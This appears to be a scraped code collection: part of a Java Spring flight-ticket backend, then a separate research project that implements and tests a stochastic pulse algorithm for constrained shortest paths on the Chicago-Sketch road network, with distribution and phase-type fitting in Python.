public Optional<Tiquete>obtenerId(Long id){
return tiqueteRepositori.findById(id);
}
//Eliminar Tiquete
public boolean EliminarTiquete(Long id){
try {
tiqueteRepositori.deleteById(id);
return true;
} catch (Exception e) {
return false;
}
}
}
<file_sep>/src/main/java/com/example/demo/models/Tiquete.java
package com.example.demo.models;
import java.sql.Date;
import java.sql.Time;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.GenerationType;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.ManyToOne;
import javax.persistence.Table;
@Entity
@Table(name = "Tiquete")
public class Tiquete {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
@Column(unique = true, nullable = false)
//atributos
private Long idTiquete;
@Column(length = 40, nullable = false)
private String clase;
@Column(length = 25, nullable = false)
private String asiento;
@Column(nullable = false)
private Double valor;
@Column(nullable = false)
private Time hora;
@Column(nullable = false)
private Date fecha;
//contructor
public Tiquete() {
}
//llave foranea
//bidireccionamiento
@ManyToOne
@JoinColumn(name = "clientefk" )
Cliente cliente; //variable de la clase cliente que es una FK
public Tiquete(Cliente cliente){
this.cliente = cliente;
}
public Cliente getCliente() {
return this.cliente;
}
public void setCliente(Cliente cliente) {
this.cliente = cliente;
}
//Fk Tiquete
/////////////////////////////////////////
@ManyToOne
@JoinColumn(name = "destinoFk")
Destino destino;
public Tiquete(Destino destino){
this.destino = destino;
}
public Destino getDestino(){
return this.destino;
}
public void setDestino (Destino destino){
this.destino = destino;
}
//constructor de la clase tiquete, resive un objeto cliente
//Bidireccionamiento
//fin bidireccional Destino en Tiquete
@ManyToOne
@JoinColumn(name = "origenFk")
Origen origen;
public Tiquete (Origen origen){
this.origen = origen;
}
public Origen getOrigent(){
return this.origen;
}
public void setOrigen (Origen origen){
this.origen = origen;
}
/////////////////fk AVION////////////
@ManyToOne
@JoinColumn(name = "avionFk")
Avion avion;
public Tiquete (Avion avion){
this.avion = avion;
}
public Avion getAvion(){
return this.avion;
}
public void setAvion (Avion avion){
this.avion = avion;
}
}
<file_sep>/src/main/java/com/example/demo/repositories/repositoriesOrigen.java
package com.example.demo.repositories;
import com.example.demo.models.Origen;
import org.springframework.data.repository.CrudRepository;
import org.springframework.stereotype.Repository;
@Repository
public interface repositoriesOrigen extends CrudRepository<Origen,Long> {
}
|
45bc8daf21e500c4f0fbd74ed45cc386645c0865
|
[
"Java",
"INI"
] | 13 |
Java
|
arcadu22/flight_micro_backend
|
a1b364a2e6417a824ed02195508d0c7538a2e69d
|
7ec5b6e719ef9c8fc3c4541a06a043ad046b456b
|
refs/heads/master
|
<file_sep>/**
* This class is used for parallelizing the SP algorithm.
*
* Ref.: <NAME>. and <NAME>. (2013).
* On an exact method for the constrained shortest path problem. Computers & Operations Research. 40 (1):378-384.
* DOI: http://dx.doi.org/10.1016/j.cor.2012.07.008
*
*
* @author <NAME> & <NAME>
* @affiliation Universidad de los Andes - Centro para la Optimizaci�n y Probabilidad Aplicada (COPA)
* @url http://copa.uniandes.edu.co/
*
*/
package Pulse;
public class ShortestPathTask implements Runnable {
/**
* The dijkstra for distance
*/
private DukqstraDist spDist;
/**
* The dijkstra for time
*/
private DukqstraTime spTime;
/**
* The dijkstra for Exptime
*/
private DukqstraExpTime spExpTime;
/**
* A boolean indicator to know if it is for time or for distance
*/
private int algoRuning;
/**
* The main method. Creates a task
* @param quienEs if it is for time or for distance
* @param dD
* @param dT
*/
public ShortestPathTask(int quienEs, DukqstraDist dD, DukqstraTime dT, DukqstraExpTime dET) {
//quienES 1 Dist, 0 Time;
algoRuning = quienEs;
if(quienEs==1){
spDist = dD;
}else if (quienEs==0){
spTime = dT;
}else {
spExpTime = dET;
}
}
/**
* This method runs the desired dijkstra
*/
public void run() {
// TODO Auto-generated method stub
if(algoRuning==1){
spDist.runAlgDist();
}else if (algoRuning==0){
spTime.runAlgTime();
}else {
spExpTime.runAlgExpTime();
}
}
}
<file_sep>import scipy.stats as st
import numpy as np
import networkx as nx
import os,math,sys,time
from Fitter import *
global CV #CV (float): Coefficient of variation
def createFolder(name):
if os.name=='posix':
os.popen(f'[ -d {name} ] || mkdir {name}')
else:
name=name.replace('/','\\')
os.popen(f'md {name}')
def read(instance):
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\3. Case_study\Chicago\TransportationNetworks-master\Chicago-Sketch')
G=nx.DiGraph()
f=open('ChicagoSketch_node.tntp')
pos={}
for x in f:
if x[:4]!='node':
x=list(map(int,x[:-3].split("\t")))
G.add_node(x[0])
pos[x[0]]=(x[1],x[2])
f.close()
f=open('ChicagoSketch_net.tntp')
for x in f:
x=x[1:-3].split("\t")
# print(x)
t=True
try:
type(int(x[0]))
except Exception as e:
t=False
if t:
G.add_edge(int(x[0]),int(x[1]),cap=int(x[2]),leng=float(x[3]),fftt=float(x[4])*60,B=float(x[5]),pow=float(x[6]))
f.close()
f=open('ChicagoSketch_flow.tntp')
for x in f:
x=x.split('\t')
t=True
try:
type(int(x[0]))
except Exception as e:
t=False
if t:
G[int(x[0])][int(x[1])]["cost"]=int(float(x[3][:-3])*100)
G[int(x[0])][int(x[1])]["flow"]=int(float(x[2][:-1]))
f.close()
edg=list(G.edges()).copy()
for i,j in edg:
if G[i][j]["fftt"]==0:
G[i][j]["fftt"]=60*(60*G[i][j]["leng"]/50)#(mph))
#Link travel time = free flow time * ( 1 + B * (flow/capacity)^Power ).**2
G[i][j]["time"]=G[i][j]["fftt"]*(1+G[i][j]["B"]*(G[i][j]["flow"]/G[i][j]["cap"])**G[i][j]["pow"])
G[i][j]["SD"]=max(1/2*(G[i][j]["time"]-G[i][j]["fftt"])*(G[i][j]["flow"]/G[i][j]["cap"]),5)
G[i][j]["cost"]=int(100*G[i][j]["cost"]*(G[i][j]["fftt"]/(G[i][j]["time"]**2)) )
return(G,pos)
def fit_graph(G,file,d_names):
os.chdir(r'C:\Users\<NAME> M\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\SPulseD\networks')
cont=0
NG=nx.DiGraph()
for i,j in G.edges():
#Creates data with the given moments
phi=math.sqrt(G[i][j]["SD"]**2+ G[i][j]["time"]**2)
mu=math.log(G[i][j]["time"]**2/phi)
sigma=math.sqrt(math.log(phi**2/(G[i][j]["time"]**2)))
data = np.random.lognormal(mu,sigma, 100)
data=list(map(lambda x:max(0.0,x),data-G[i][j]["fftt"]))
#Fits this data to one of the given distributions
params = fit_to_all_distributions(data,d_names)
# print()
best_dist_chi, best_chi, params_chi, dist_results_chi = get_best_distribution_using_chisquared_test(data, params,d_names)
#Saves the info in the new graph
NG.add_edge(i,j, Cost=G[i][j]["cost"], tmin=G[i][j]["fftt"],distr=best_dist_chi,params=params_chi)
#text=str(i)+";"+str(j)+";"+str(int(G[i][j]["cost"]))+";"+str(G[i][j]["fftt"])+";"+str([list(map(lambda x: round(float(x),10),k))[0]for k in G[i][j]["alpha"]])+";"+str([list(map(lambda x: round(float(x),10),k))for k in G[i][j]["T"]])+'\n'
nx.write_gpickle(NG,file+'.gpickle')
return NG
def rand_inst_to_txt(G,file,d_names):
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\SPulseD\networks')
cont=0
for i,j in G.edges():
#Creates data with the given moments
phi=math.sqrt(G[i][j]["SD"]**2+ G[i][j]["time"]**2)
mu=math.log(G[i][j]["time"]**2/phi)
sigma=math.sqrt(math.log(phi**2/(G[i][j]["time"]**2)))
data = np.random.lognormal(mu,sigma, 100)
data=list(map(lambda x:max(0.0,x),data-G[i][j]["fftt"]))
#Fits this data to one of the given distributions
params = fit_to_all_distributions(data,d_names)
# print()
best_dist_chi, best_chi, params_chi, dist_results_chi = get_best_distribution_using_chisquared_test(data, params,d_names)
#Saves the info in the new graph
NG.add_edge(i,j, Cost=G[i][j]["cost"], tmin=G[i][j]["fftt"],distr=best_dist_chi,params=params_chi)
#text=str(i)+";"+str(j)+";"+str(int(G[i][j]["cost"]))+";"+str(G[i][j]["fftt"])+";"+str([list(map(lambda x: round(float(x),10),k))[0]for k in G[i][j]["alpha"]])+";"+str([list(map(lambda x: round(float(x),10),k))for k in G[i][j]["T"]])+'\n'
nx.write_gpickle(NG,file+'.gpickle')
def fit_to_all_distributions(data,dist_names):
params = {}
for dist_name in dist_names:
try:
dist = getattr(st, dist_name)
param = dist.fit(data)
params[dist_name] = param
except Exception:
print("Error occurred in fitting")
params[dist_name] = "Error"
return params
def get_best_distribution_using_chisquared_test(data,params,dist_names):
histo, bin_edges = np.histogram(data, bins='auto', normed=False)
number_of_bins = len(bin_edges) - 1
observed_values = histo
dist_results = []
for dist_name in dist_names:
param = params[dist_name]
if (param != "Error"):
# Applying the SSE test
arg = param[:-2]
loc = param[-2]
scale = param[-1]
# print(getattr(st, dist_name))
cdf = getattr(st, dist_name).cdf(bin_edges, loc=loc, scale=scale, *arg)
expected_values = len(data) * np.diff(cdf)
c , p = st.chisquare(observed_values, expected_values, ddof=number_of_bins-len(param))
dist_results.append([dist_name, c, p])
# select the best fitted distribution
best_dist, best_c, best_p = None, sys.maxsize, 0
for item in dist_results:
name = item[0]
c = item[1]
p = item[2]
if (not math.isnan(c)):
if (c < best_c):
best_c = c
best_dist = name
best_p = p
# print the name of the best fit and its p value
# print("Best fitting distribution: " + str(best_dist))
# print("Best c value: " + str(best_c))
# print("Best p value: " + str(best_p))
# print("Parameters for the best fit: " + str(params[best_dist]))
return best_dist, best_c, params[best_dist], dist_results
def loadNet(net='Chicago-Sketch'):
'''
Loads the {net}_net.txt file. Looks for the {net} folder in '../../data/Networks/'
Args:
net(String): Folder name
Return:
arcs (dict): keys:=(tail, head), values:=(Cost,E[Time],Fft,Sigma)
'''
f=open(f'../../data/Networks/{net}/{net}_net.txt')
arcs=dict()
f.readline()
for l in f:
li=list(map(float,l.replace('\n','').split('\t')))
arcs[int(li[0]),int(li[1])]=tuple(li[2:])
return arcs
def createSceanrios(nScen,n,net='Chicago-Sketch'):
'''
Creates for the given network nScen scenarios with the following properties:
-
-
-
Args:
nScen(int): Must be odd number in order to create (n-1)/2 scenarios under the expected value and (n-1)/2 above.
n(int): Number of observations per scenario. Nothe that the agregated dataset has lenght of nScen*n for each arc.
net(String): Folder name
Returns:
None: creates for each scenario a file with the data, and a file for the aggregated data. These files are saved in '../../data/Networks/{net}/Scenarios/'.
'''
files=[open(f'../../data/Networks/{net}/Scenarios/scen{k+1}.txt','w') for k in range(nScen)]+[open(f'../../data/Networks/{net}/Scenarios/scenTotal.txt','w')]
arcs=loadNet(net=net)
for i,j in arcs.keys():
c,t,fft,sigma=arcs[i,j]
delta=(t-fft)/(1.5*(nScen-1)/2)
TData=[]
for k in range(int(-(nScen-1)/2),int((nScen-1)/2+1)):
data=createData(mu=t+k*delta,fft=fft,n=n)
files[k+int((nScen-1)/2)].write(f'{i}\t{j}\t{data}\n')
TData+=data
files[-1].write(f'{i}\t{j}\t{TData}\n')
for f in files: f.close()
def createDataIndependent(n,net='Chicago-Sketch'):
'''
Creates the data files for the given network
Args:
n(int): Number of observations per . Nothe that the agregated dataset has lenght of nScen*n for each arc.
net(String): Folder name
Returns:
None: creates for each scenario a file with the data, and a file for the aggregated data. These files are saved in '../../data/Networks/{net}/Scenarios/'.
'''
createFolder(name=f'../../data/Networks/{net}/Independent/CV{CV}')
file=open(f'../../data/Networks/{net}/Independent/CV{CV}/data_cv{CV}.txt','w')
arcs=loadNet(net=net)
for i,j in arcs.keys():
c,t,fft,sigma=arcs[i,j]
data=createData(mu=t,fft=fft,n=n)
file.write(f'{i}\t{j}\t{data}\n')
file.close()
def createData(mu,fft,n):
'''
Given the expected value, and a CV, a dataset with n realizations of a lognormal variable with Expected value mu and with variance s=CV*mu
Args:
mu (float): Expected value
fft (float): Free flow time
n (int): size of the dataset
Returns
data [list]:
'''
sigma=CV*(mu-fft)
phi=math.sqrt(sigma**2+ mu**2)
muN=math.log(mu**2/phi)
sigmaN=math.sqrt(math.log(phi**2/(mu**2)))
data = np.random.lognormal(muN,sigmaN, n)
data=list(map(lambda x:max(0.0,x),data-fft))
# print('Mean:\t',np.mean(data),mu-fft)
# print('Stdev:\t',np.std(data),sigma)
return data
def fitPHScenarios(nScen,nPhases,net='Chicago-Sketch'):
'''
fits a PH random variable to each scenario created
Args:
nScen(int): Must be odd number in order to create (n-1)/2 scenarios under the expected value and (n-1)/2 above.
net(String): Folder name
Returns:
None: creates for each scenario a file with the data, and a file for the aggregated data. These files are saved in '../../data/Networks/{net}/Scenarios/'.
'''
files=[open(f'../../data/Networks/{net}/Scenarios/scen{k+1}.txt','r') for k in range(nScen)]+[open(f'../../data/Networks/{net}/Scenarios/scenTotal.txt','r')]
filesOut=[open(f'../../data/Networks/{net}/Scenarios/PHFit{nPhases}_scen{k+1}.txt','w') for k in range(nScen)]+[open(f'../../data/Networks/{net}/Scenarios/PHFit{nPhases}_scenTotal.txt','w')]
arcs=loadNet(net=net)
N=len(arcs.keys())
n=0
for i,j in arcs.keys():
n+=1
for fin,fout in zip(files,filesOut):
l=fin.readline()
ii,jj,data=l.replace('\n','').split('\t')
data=list(map(float,data.replace('[','').replace(']','').split(', ')))
ph,loglike=get_PH_HE(data,nPhases)
np=1
while ph.trace()>1000:
ph,loglike=get_PH_HE(data,nPhases+np)
np+=1
fout.write(f'{i}\t{j}\t{arcs[i,j][0]}\t{arcs[i,j][2]}\t{[list(map(lambda x: round(float(x),10),k))[0]for k in ph.alpha.tolist()]}\t{[list(map(lambda x: round(float(x),10),k))for k in ph.T.tolist()]}\n')
print(n/N)
for fin,fout in zip(files,filesOut): (fin.close(),fout.close())
def fitIndependent(nPhases,net='Chicago-Sketch'):
'''
Fits a PH distribution and arbitrari distribution to each arc in the network.
Args:
nPhases(list): list of number of phases to fit
net(String): Folder name
Returns:
None: Creates a file with the aggregated data. These files are saved in '../../data/Networks/{net}/Independent/'.
'''
createFolder(name=f'../../data/Networks/{net}/Independent/CV{CV}/')
file=open(f'../../data/Networks/{net}/Independent/CV{CV}/data_cv{CV}.txt','r')
fileOut=[open(f'../../data/Networks/{net}/Independent/CV{CV}/PHFit{np}_cv{CV}.txt','w')for np in nPhases]+[open(f'../../data/Networks/{net}/Independent/CV{CV}/DistrFit_cv{CV}.txt','w')]
arcs=loadNet(net=net)
N=len(arcs.keys())
n=0
fittingTimes={np:0 for np in nPhases} #Total fitting times
fittingTimes['distr']=0
for i,j in arcs.keys():
n+=1
l=file.readline()
ii,jj,data=l.replace('\n','').split('\t')
data=list(map(float,data.replace('[','').replace(']','').split(', ')))
#fit PHtypes
for ii,np in enumerate(nPhases):
tFit=time.time()
ph,loglike=get_PH_HE(data,np)
npa=1
while ph.trace()>1000:
print(ph.T)
ph,loglike=get_PH_HE(data,nPhases+npa)
npa+=1
fittingTimes[np]+=time.time()-tFit
fileOut[ii].write(f'{i}\t{j}\t{arcs[i,j][0]}\t{arcs[i,j][2]}\t{[list(map(lambda x: round(float(x),10),k))[0]for k in ph.alpha.tolist()]}\t{[list(map(lambda x: round(float(x),10),k))for k in ph.T.tolist()]}\n')
#fit Distributions
tFit=time.time()
params = fit_to_all_distributions(data,d_names)
best_dist_chi, best_chi, params_chi, dist_results_chi = get_best_distribution_using_chisquared_test(data, params,d_names)
fittingTimes['distr']+=time.time()-tFit
fileOut[-1].write(f'{i}\t{j}\t{best_dist_chi}\t{params_chi}\n')
print(n/N)
file.close()
for f in fileOut: f.close()
fTimes=open(f'../../data/Networks/Fitting_Times.txt','a')
for np in nPhases:
fTimes.write(f'PhaseType fit {np}\t{net}\t{fittingTimes[np]}\n')
fTimes.write(f'Distrubution\t{net}\t{fittingTimes["distr"]}\n')
fTimes.close()
if __name__ == '__main__':
########################################################
'''
Setting of some global parameters
'''
CV=0.5 #CV (float): Coefficient of variation
d_names = ['lognorm','gamma','weibull_min']
########################################################
for cv in [0.8,1,0.3,0.5]:
CV=cv
createDataIndependent(n=1000,net='Chicago-Sketch')
fitIndependent(nPhases=[3,5],net='Chicago-Sketch')
<file_sep>/**
* This class defines an instance
*
* Ref.: <NAME>. and <NAME>. (2013).
* On an exact method for the constrained shortest path problem. Computers & Operations Research. 40 (1):378-384.
* DOI: http://dx.doi.org/10.1016/j.cor.2012.07.008
*
*
* @author <NAME>
* @affiliation Universidad de los Andes - Centro para la Optimización y Probabilidad Aplicada (COPA)
* @url http://copa.uniandes.edu.co/
*
*/
package Pulse;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.util.StringTokenizer;
public class Settings {
/**
* The data file txt with the nodes and arcs
*/
String DataFile;
/**
* The total number of arcs
*/
int NumArcs;
/**
* The total number of nodes
*/
int NumNodes;
/**
* The id of the last node
*/
int LastNode;
/**
* The source node
*/
int Source;
/**
* The resource constraint
*/
double TimeC;
/**
* The confidence level alpha
*/
double alpha;
/**
* This method creates the instance
* @param ConfigFile
* @throws IOException
*/
public Settings(String ConfigFile) throws IOException{
File file = new File(ConfigFile);
BufferedReader bufRdr = new BufferedReader(new FileReader(file));
String line = null;
String [][] readed = new String [6][2];
int row = 0;
int col = 0;
//read each line of text file
while((line = bufRdr.readLine()) != null && row < 6)
{
StringTokenizer st = new StringTokenizer(line,":");
while (st.hasMoreTokens())
{
//get next token and store it in the array
readed[row][col] = st.nextToken();
col++;
}
col = 0;
row++;
}
DataFile=readed[0][1]; //Name of the txt
NumArcs=Integer.parseInt(readed[1][1]); //The total number of arcs
NumNodes=Integer.parseInt(readed[2][1]); //the total number of nodes
TimeC=Double.parseDouble(readed[3][1]); //The resource constraint
Source=Integer.parseInt(readed[4][1]); //The source id
LastNode=Integer.parseInt(readed[5][1]); //The last node id
//Si quisiera correr la red al reves..simplemente tendria que cambiar el source y el last node.
}
}
<file_sep>from s_pulse_MC import *
from PhaseType import *
from Fitter import *
from pulse import *
import Distrs_Fitter as dfit
import scipy.stats as sts
import networkx as nx
import time
import numpy as np
import Data_handler as dh
import os
import time
import numpy as np
from mpmath import *
import scipy.linalg as sp
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse\Santos')
def cargar_redes(n,k):
for i in range(n, k+1):
t=time.time()
inst='network{}.txt'.format(i)
print(inst)
dh.create_graph_stoch(3,inst,False)
print(inst, time.time()-t)
#cargar_redes(10, 12)
def correr_instancias(inst,tideness,alpha):
f = open('File1.txt', "r")
cont=0
instancias={}
for x in f:
x=x[:-4]
x=list(map(float,x.split(";")))
if int(x[0]) in inst:
instancias[int(x[0])]={"nodes":x[1],"arcs":x[2],"t_min_cost":x[3],"min_time":x[4],"target":x[5],"T_max":(x[4]-x[5])*tideness +x[4]}
print(x)
f.close()
for (i,inst) in instancias.items():
sfile=' network{}.gpickle'.format(i)
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse\gpickle')
SG=nx.readwrite.gpickle.read_gpickle(sfile)
for a in SG.edges():
T=matrix(SG[a[0]][a[1]]["T"])
al=matrix(SG[a[0]][a[1]]["alpha"])
#print(T.rows,T.cols)
SG.edges[a]["tRV"]=PH(T,al)
SPG=s_pulse_graph(G=SG,T_max=inst["T_max"],alpha=alpha,source=0,target=int(inst["target"]))
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse\Santos')
print(os.curdir)
file= 'network{}.txt'.format(i)
G=dh.create_graph_det(file, headder=False)
PG=pulse_graph(G=G,T_max=inst["T_max"],source=0,target=int(inst["target"]))
t=time.time()
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
pulse_time=time.time()-t
print("Pulse")
print("Time\t cost \t Time \t path")
print(str(pulse_time), "\t",str(pulse_cost),"\t",str(pulse_sol_time),"\t",str(pulse_path))
print("cota", PG.bound)
print("Factibilidad", PG.infeas)
print("Dominancia", PG.dom)
t=time.time()
#s_pulse_path,s_pulse_cost,s_pulse_prob=SPG.run_pulse()
pat=zip(pulse_path[:-1],pulse_path[1:])
ph=SPG.G[pat[0][0]][pat[0][1]]["tRV"]
for i,j in pat[1:]:
ph=ph.sum(SPG.G[pat[0][0]][pat[0][1]]["tRV"])
print(ph.T)
print(ph.alpha)
text="{"
for i in range(ph.alph.rows):
text+=str(float(alpha[i]))+", "
print(text,"}")
for i in range(ph.T.rows):
text="{"
for i in range(ph.T.cols):
text+=str(float(T[i,j]))+", "
print(text,"}")
s_pulse_time=time.time()-t
print("S_Pulse")
print("Time\t cost \t Probability \t path")
print(str(s_pulse_time), "\t",str(s_pulse_cost),"\t",str(s_pulse_prob),"\t",str(s_pulse_path))
print("tiempo expm", SPG.time_expm, " segundos")
print("cota", SPG.bound)
print("Factibilidad", SPG.feas)
print("Dominancia", SPG.dom)
if s_pulse_cost!= pulse_cost and s_pulse_cost!=np.inf:
res = open('Results.txt', "a")
text=str(i)+"\t"+str(tideness)+"\t"+str(alpha)+"\t"+str(pulse_cost)+"\t"+str(s_pulse_cost)+"\t"+str(s_pulse_prob)+"\t"+str(pulse_time)+"\t"+str(s_pulse_time)+"\t"+str(SPG.bound)+"\t"+str(SPG.infeas)+"\t"+str(SPG.dom)+"\t"+str(SPG.time_expm)
res.write(text)
res.write("\n")
#correr_instancias([11,12],0.3,0.99)
def plot_distrs(G,edges=[]):
if edges==[]:
edges=G.edges()
for x in edges:
xx = np.linspace(0, 1000, 100)
y2 = list(map(G.edges[(x[0],x[1])]["tRV"].pdf,xx))
plt.plot(xx,y2, color="lime")
plt.legend(['PH-fit','Data'])
#print(G.edges[(x[0],x[1])]["tmin"])
#print(G.edges[(x[0],x[1])]["tRV"].T)
plt.show()
def plot_sum(G,path):
PH=G.edges[path[0]]["tRV"]
for i in path[1:]:
PH=PH.sum(G.edges[i]["tRV"])
PH.plot_pdf()
def prueba():
#correr_instancias(50, 50,0.9,0.95)
os.chdir(r'C:\Users\<NAME> M\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse\gpickle')
sfile=' network{}.gpickle'.format(12)
SG=nx.readwrite.gpickle.read_gpickle(sfile)
for a in SG.edges():
T=matrix(SG[a[0]][a[1]]["T"])
al=matrix(SG[a[0]][a[1]]["alpha"])
SG.edges[a]["tRV"]=PH(T,al)
t=6500
T_max=(9085-8458)*0.1+8458
alpha=.95
SPG=s_pulse_graph(G=SG,T_max=T_max,alpha=alpha,source=0,target=t)
s_pulse_path,s_pulse_cost,s_pulse_prob=SPG.run_pulse()
print(s_pulse_path)
print(list(zip(s_pulse_path[:-1],s_pulse_path[1:])))
path=list(zip(s_pulse_path[:-1],s_pulse_path[1:]))
#os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse\Santos')
#plot_distrs(SPG.G,path)
for i in range(1,len(path[1:])):
print(SPG.G.edges[path[i]]["tRV"].T)
print(SPG.G.edges[path[i]]["tRV"].alpha)
#print("p")
#SPG.G.edges[path[i]]["tRV"].plot_pdf()
#print("s")
#plot_sum(SPG.G,path[:i])
#prueba()
#SPG.tRV.plot_pdf()
#cargar_redes(30, 100)
def is_diag(T):
eye=np.ones(len(T))-np.eye(len(T))
T=np.multiply(eye,T)
if sum(T)==0:
return True
else:
return False
#prueba()
def prueba2():
x=[100, 200, 123, 343, 456, 123, 234, 312, 341, 123, 122, 234, 124, 782,190,293,320,201,123,123,134,432,412,321,232,123,142,143,145,231,353,123,112]
print(sum(x))
datos=[]
var=sts.uniform.rvs(loc=0.2,scale=1)
data = np.random.lognormal(log(x[0])-1/2*var, var**(1/2), 100)
tmin=min(data)
data=data-tmin
datos.append(data)
nPhases=3
PH=get_PH_HE(data,nPhases)
#PH.plot_pdf()
for i in range(1,len(x[1:])):
var=0.5
data = np.random.lognormal(log(x[0])-1/2*var, var**(1/2), 100)
tmin=min(data)
data=data-tmin
datos.append(data)
nPhases=3
ph=get_PH_HE(data,nPhases)
'''
#ph.plot_pdf()
xx = np.linspace(000, 4000, 5)
y2 = list(map(PH.pdf,xx))
plt.hist(x=data,density=True,bins='auto', color='#0504aa',alpha=0.7, rwidth=0.5)
plt.plot(xx,y2, color="lime")
plt.legend(['PH-fit'])
print(ph.T)
print(ph.alpha)
'''
PH=PH.sum(ph)
'''
#print(datos[0]+datos[1])
#print(sum(datos[:i]))
plt.hist(x=sum(datos[k] for k in range(i+1)),density=True,bins='auto', color='#0504aa',alpha=0.7, rwidth=0.5)
#lt.show()
xx = np.linspace(000, 4000, 100)
y2 = list(map(PH.pdf,xx))
plt.plot(xx,y2, color="lime")
plt.legend(['PH-fit'])
#print(G.edges[(x[0],x[1])]["tmin"])
'''
'''
Java
text="{"
for i in range(PH.alpha.rows):
text+=", "+str(float(PH.alpha[i]))
print(text,"}")
for i in range(PH.T.rows):
text="{"
cont=0
for j in range(PH.T.cols):
if cont==0:
text+=str(float(PH.T[i,j]))
else:
text+=", "+str(float(PH.T[i,j]))
cont+=1
print(text,"},")
print(PH.T.rows)
print(PH.alpha.rows)
t=time.time()
print(PH.cdf(7700))
print("calculando cfd con ",str(PH.T.rows)," fases me tardo ",time.time() -t,"segundos")
'''
'''
#Julia
text="["
for i in range(PH.alpha.rows):
text+=" "+str(float(PH.alpha[i]))
print(text,"]")
for i in range(PH.T.rows):
text=""
cont=0
for j in range(PH.T.cols):
if cont==0:
text+=str(float(PH.T[i,j]))
else:
text+=" "+str(float(PH.T[i,j]))
cont+=1
print(text,";")
print(PH.T.rows)
print(PH.alpha.rows)
'''
#x=list(map(float,x.split(";")))
#for i in PH.T.tolist():
# print(list(map(float,i)))
T=np.array([list(map(float,i)) for i in PH.T.tolist()])
alpha=np.array([list(map(float,i)) for i in PH.alpha.tolist()])
print(T)
print(sp.expm(T)*7700)
print(expm(PH.T*7700))
eTT=sp.expm(T)*7700
one=np.ones((len(T),1))
p=[[1]]-np.matmul(np.matmul(alpha.transpose(),eTT),one)
print(p)
#print(PH.T.tolist())
t=time.time()
print(PH.cdf(7700))
print("calculando cfd con ",str(PH.T.rows)," fases me tardo ",time.time() -t,"segundos")
def cargar_toy():
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\2. Methodology\2.2 S-Pulse Algorithm\S-PULSE implementation\Code_S-pulse\Notebooks')
inst="toy.txt"
SG=dh.create_graph_stoch(3,inst,True)
for a in SG.edges():
T=matrix(SG[a[0]][a[1]]["T"])
al=matrix(SG[a[0]][a[1]]["alpha"])
#print(T.rows,T.cols)
SG.edges[a]["tRV"]=PH(T,al)
SPG=s_pulse_graph(G=SG,T_max=120,alpha=0.95,source=1,target=7)
print(SPG.run_pulse())
'''
inst=[12,23,24,28,29, 36,49]
correr_instancias(inst, 0.7, .9)
#data=distrs["lnorm2"][0]
data=sts.erlang.rvs(160,10,size=100)
#data=min(data)
data=data-min(data)
print(min(data))
#data
plt.hist(x=data,density=True,bins='auto', color='#0504aa',alpha=0.7, rwidth=0.5)
xx = np.linspace(0, max(data), 100)
v=get_PH_HE(data,3)
y2 = list(map(v.pdf,xx))
plt.plot(xx,y2, color="lime")
v=get_PH_HE(data,30)
y2 = list(map(v.pdf,xx))
plt.plot(xx,y2, color="purple")
plt.legend(['PH-fit 3 Phases','PH-fit 30 Phases','Data'])
plt.xlim(0, max(data))
plt.xlabel("Time")
plt.ylabel("Density")
plt.show()
'''
def load_and_fit_net():
G,pos=dfit.read("fitted_net")
dist_names = ['laplace','norm','lognorm', 'powerlognorm' ,'exponweib', 'pareto','johnsonsu','burr']
G=dfit.fit_graph(G,'fitted_net',dist_names)
return G,pos
def load_net():
G,pos=dfit.read("fitted_net")
os.chdir(r'C:\Users\<NAME>\Desktop\Thesis\3. Case_study\Chicago')
G=nx.readwrite.gpickle.read_gpickle("fitted_net.gpickle")
return G,pos
G,pos=dfit.read("fitted_net")
DG=nx.DiGraph()
for i,j in G.edges():
DG.add_edge(i,j,Cost=G[i][j]["cost"],Time=G[i][j]["time"])
#nx.draw_networkx(DG,pos,node_size=10,node_color='black',with_labels=False,arrows=False)
#plt.show()
G,pos =load_net()
G=nx.readwrite.gpickle.read_gpickle("fitted_net.gpickle")
for i,j in G.edges():
G[i][j]["Cost"]=DG[i][j]["Cost"]
alpha=0.95
s=random.randint(1,int(len(G.nodes())/2))
t=random.randint(int(len(G.nodes())/2),len(G.nodes()))
tightness=0.3
PG=pulse_graph(G=DG,T_max=0,source=s, target=t,tightness=tightness,pos=pos)
pulse_path,pulse_cost,pulse_sol_time=PG.run_pulse()
print("Pulse")
print("cost \t Time \t path")
print(str(pulse_cost),"\t",str(pulse_sol_time),"\t",str(pulse_path))
print("T_max", PG.T_max)
print("cota", PG.bound)
print("Factibilidad", PG.infeas)
print("Dominancia", PG.dom)
SPG=s_pulse_graph(G,T_max=PG.T_max,alpha=.95,source=s,target=t,n_it=1000,tightness=tightness,pos=pos)
path=list(zip(pulse_path[:-1],pulse_path[1:]))
tmin=sum(SPG.G[i][j]["tmin"] for i,j in path)
print("Probabilidad de llegar a tiempo: ", SPG.monte_carlo(pulse_path,tmin,0,10000))
pulse_path,pulse_cost,pulse_sol_time=SPG.run_pulse()
print("S_Pulse")
print("cost \t Time \t path")
print(str(pulse_cost),"\t",str(pulse_sol_time),"\t",str(pulse_path))
print("T_max", SPG.T_max)
print("cota", SPG.bound)
print("Factibilidad", SPG.infeas)
print("Dominancia", SPG.dom)
path=list(zip(pulse_path[:-1],pulse_path[1:]))
tmin=sum(SPG.G[i][j]["tmin"] for i,j in path)
